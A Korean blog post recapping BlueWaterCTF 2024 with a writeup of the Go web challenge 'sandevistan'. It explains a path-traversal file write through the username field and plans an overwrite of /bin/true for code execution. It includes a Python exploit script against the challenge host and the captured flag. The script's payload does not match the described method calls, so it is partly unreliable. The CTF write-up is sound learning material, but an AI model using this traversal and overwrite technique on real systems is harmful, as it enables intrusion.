Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

BlueWaterCTF 2024

BlueWaterCTF

대회 일정

2024-10-12 23:00 ~ 2024-10-14 11:00

대회 후기

화이트햇 준비도 할겸 오랜만에 CTF 대회를 참가했다. 13일 저녁에 시작했는데 웹 솔브가 많이나지 않은 것을 보고 배워갈 게 많은 대회라고 생각하고 임했다. 루비야랩 팀으로 나가게 되었고 웹은 총 5문제가 나왔는데 그 중 1문제를 풀었다.

Writeup

sandevistan

32 solved / 212 pts

func (s *Server) Serve() error {
	r := mux.NewRouter()
	path := filepath.Join(utils.GetCwd(), "static")

	r.PathPrefix("/static/").Handler(http.StripPrefix("/static", http.FileServer(http.Dir(path))))
	r.HandleFunc("/", root)
	r.HandleFunc("/cyberware", s.cwHandleGet).Methods("GET")
	r.HandleFunc("/cyberware", s.cwHandlePost).Methods("POST")
	r.HandleFunc("/user", s.handleUserGet).Methods("GET")
	r.HandleFunc("/user", s.handleUserPost).Methods("POST")
    return http.ListenAndServe(":8080", r)
}

웹은 Go 언어로 작성되어있고 /cyberware, /user 경로에 요청을 보낼 수 있게 되어있다.

package server

import (
	"Sandevistan/models"
	"Sandevistan/utils"

	"net/http"
	"errors"
	"fmt"
	"context"
)

func (s *Server) AppendToUsers(u *models.User) {
	s.Users[u.Name] = u
}

func (s *Server) GetUser(username string) (*models.User, error) {
	user, exists := s.Users[username]
	if !exists {
		return nil, errors.New("user not found")
	}
	return user, nil
}

func (s *Server) handleUserPost(w http.ResponseWriter, r *http.Request) {
	u, uerr := s.GetUser(r.FormValue("username"))
	if uerr != nil {
		ctx := r.Context()
		ctx = context.WithValue(ctx, "username", "NOUSER")
		username := r.FormValue("username")
		ue := utils.AlphaNumCheck(ctx, username)
		if ue != nil {
			http.Error(w, "BAD CHARACTERS IN USERNAME", http.StatusBadRequest)
			return
		}
		cyberwares := make(map[string]models.CyberWare, 0)
		errs := make([]*models.UserError, 0)
		u = &models.User{
			Name: r.FormValue("username"),
			Augments: cyberwares,
			Errors: errs,
		}
		s.AppendToUsers(u)
		fmt.Println(s.Users)
	}
	http.Redirect(w, r, "/user", http.StatusFound)
}

func (s *Server) handleUserGet(w http.ResponseWriter, r *http.Request) {
	u, err := s.GetUser(r.FormValue("username"))
	if err != nil {
		http.Error(w, "Username not found", http.StatusNotFound)
		return
	}

	if u.Name == "NOUSER" {
		http.Redirect(w, r, "/", http.StatusFound)
	}
	utils.RenderTemplate(w, "/tmpl/user", u)
}

/user 엔드포인트 쪽 코드를 보면, POST 요청을 보내 새로운 유저를 생성할 수 있고, GET 요청을 통해 유저 프로필에 접근이 가능하다.

package server

import (
	"Sandevistan/utils"
	"Sandevistan/database"
	"Sandevistan/models"
	"net/http"
	"math/rand/v2"
	"context"
)

func (s *Server) cwHandleGet(w http.ResponseWriter, r *http.Request){
	ctx := r.Context()
	single := r.FormValue("cyberware")
	if single != "" {
		ware, serr := db.GetCyberWare(s.dbClient, ctx, single)
		if serr != nil {
			http.Error(w, serr.Error(), http.StatusNotFound)
			return
		}
		utils.RenderTemplate(w, "/tmpl/cyberware", ware)
		return
	}
	http.Error(w, "Please specify a CyberWare", http.StatusBadRequest)
	return
}

func checkForm(r *http.Request) *models.UserError {
	var ue *models.UserError
	ctx := r.Context()
	username, exists := r.Form["username"]
	if !exists {
		ue = &models.UserError{
			Value: "NOUSER",
			Filename: "nouser",
			Ctx: ctx,
		}
		return ue
	}
	ctx = context.WithValue(ctx, "username", username[len(username)-1])
	cwName, exists := r.Form["name"]
	if !exists {
		ue = utils.ErrorFactory(ctx, "CyberWare name doesn't exist", username[len(username)-1])
		return ue
	}
	ue = utils.AlphaNumCheck(ctx, cwName[0])
	return ue
}

func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request){
	err := r.ParseForm()
	if err != nil {
		http.Error(w, err.Error(), http.StatusBadRequest)
		return
	}
	ue := checkForm(r)
	username := r.PostForm["username"]
	user, uerr := s.GetUser(username[len(username)-1])
	if uerr != nil {
		user, _ = s.GetUser("NOUSER")
	}
	if ue != nil { 
		user.AddError(ue)
		http.Error(w, "BAD REQUEST", http.StatusBadRequest)
		return
	}
	name:= r.PostForm["name"]

	cw := models.CyberWare{
		Name: name[len(name)-1],
		BaseQuality: rand.IntN(10), 
		Capacity: rand.IntN(10),
		Iconic: false,
		Username: username[len(username)-1],
	}
	_, cerr := db.InsertCyberware(s.dbClient, cw)
	if cerr != nil {
		http.Error(w, cerr.Error(), http.StatusInternalServerError)
		return
	}
	user.AddCyberWare(cw)
	http.Redirect(w, r, "/cyberware", http.StatusFound)
}

/cyberware POST 요청을 보내면, checkForm() 함수를 거쳐 AlphaNumCheck() 함수가 호출된다.

func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
	if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
		v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
		username := ctx.Value("username")
		regexErr := ErrorFactory(ctx, v, username.(string))
		return regexErr
	}
	return nil
}

func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
	filename := "errorlog/" + f
	UErr := &models.UserError{
		v,
		f,
		ctx,
	}
	file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
	defer file.Close()

	file.WriteString(v)
	return UErr
}

AlphaNumCheck() 함수에서 username을 정규표현식을 통해 검증한다. 하지만, 정규표현식에 매칭되지 않는 문자가 포함될 경우 에러를 발생시켜 errorlog 디렉터리에 에러 로그 파일을 생성하고 ERROR! Invalid Value: %s 내용을 저장한다.

하지만, username에대해 Path Traversal 검증이 이루어지고 있지 않아 원하는 경로에 원하는 파일을 쓸 수 있게 된다.

package models

import (
	"context"
	"os"
	"errors"
	"os/exec"
)

type UserError struct {
	Value		string
	Filename	string
	Ctx			context.Context
}

type User struct {
	Name			string
	Augments		map[string]CyberWare
	Errors			[]*UserError
}

func (u *User) AllCyberWares() map[string]CyberWare {
	return u.Augments
}

func (u *User) AddCyberWare(cw CyberWare) {
	u.Augments[cw.Name] = cw
}

func (u *User) AddError(ue *UserError) {
	u.Errors = append(u.Errors, ue)
}

func (u *User) NewError(val string, fname string) *UserError {
	ctx := context.Background()
	ue := &UserError{
		Value: val,
		Filename: fname,
		Ctx: ctx,
	}
	u.Errors = append(u.Errors, ue)
	return ue
}

func (u *User) SerializeErrors(data string, index int, offset int64) error {
 	fname := u.Errors[index]

	if fname == nil {
		return errors.New("Error not found")
	}
 
	f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
	if err != nil {
		return errors.New("File not found")
	}
	defer f.Close()

	_, ferr := f.WriteAt([]byte(data), offset)
	if ferr != nil {
		return errors.New("File error writing")
	}

	return nil
}

func (u *User) UserHealthcheck() ([]byte, error) {
	cmd := exec.Command("/bin/true")	
	output, err := cmd.CombinedOutput()
    if err != nil {
		return nil, errors.New("error in healthcheck")
        panic(err)
    }
	return output, nil
}

models/user.go 파일에서 UserHealthcheck() 메서드에서 /bin/true를 실행하는 것을 확인할 수 있었고, /bin/true 파일을 Overwrite 하도록 시도했다. 하지만, ERROR! Invalid Value: 문자가 포함되어있어 실행 파일 포맷 형식에 맞지 않아 에러가 발생한다.

func (u *User) NewError(val string, fname string) *UserError {
	ctx := context.Background()
	ue := &UserError{
		Value: val,
		Filename: fname,
		Ctx: ctx,
	}
	u.Errors = append(u.Errors, ue)
	return ue
}

func (u *User) SerializeErrors(data string, index int, offset int64) error {
 	fname := u.Errors[index]

	if fname == nil {
		return errors.New("Error not found")
	}
 
	f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
	if err != nil {
		return errors.New("File not found")
	}
	defer f.Close()

	_, ferr := f.WriteAt([]byte(data), offset)
	if ferr != nil {
		return errors.New("File error writing")
	}

	return nil
}

그래서, /bin/true에 바이트 값을 쓸 수 있는 타겟을 찾아보았고, models/user.go 파일에서 NewError, SerializeErrors 메서드가 있는 것을 확인했다.

정리하자면, /app/tmpl/user.html 파일을 덮어써 템플릿 엔진에서 NewError, SerializeErrors 메서드를 호출하여 /bin/true 파일에 /readflag 바이너리 값을 써주고, UserHealthcheck 메서드를 호출하면 된다.

Exploit Code

import requests

def binary_to_hex_string(binary_data):
    hex_string = ''.join(f'\\x{byte:02x}' for byte in binary_data)
    return hex_string

binary_data = open("readflag","rb").read()  
hex_representation = binary_to_hex_string(binary_data)

# url = "http://localhost:7777" 
url = "http://sandevistan.chal.perfect.blue:28945"

r = requests.post(
    f"{url}/user", 
    data={
        "username": "asdf",
    }
)
print(r.status_code)
print(r.text)

r = requests.post(
    f"{url}/cyberware", 
    data={
        "username": "../../../../../../../app/tmpl/user.html", # 경로
        "name": b"""
<!DOCTYPE html>
    <head>
        <link rel="stylesheet" href="static/css/style.css">
        <!-- cool cyberpunk theme from gwannon: https://github.com/gwannon/Cyberpunk-2077-theme-css -->
    </head>
    <body>
        <h2 class="cyberpunk glitched">Hello !</h1>
        <h3 class="cyberpunk glitched">Here are your cyberwares.</h2>
        <hr />

        <div class="cyberwares">
            
            
            
        </div>

    </body>
</html>
"""# 내용
    }
)
print(r.status_code)
print(r.text)

r = requests.get(
    f"{url}/user", 
    params={
        "username": "asdf",
    }
)
print(r.status_code)
print(r.text)

Flag

bwctf{YoU_kNoW_yOu_d1dnt_l0s3_Ur_53Lf-coNtR0L._LEt’5_start_at_the_r4inB0w}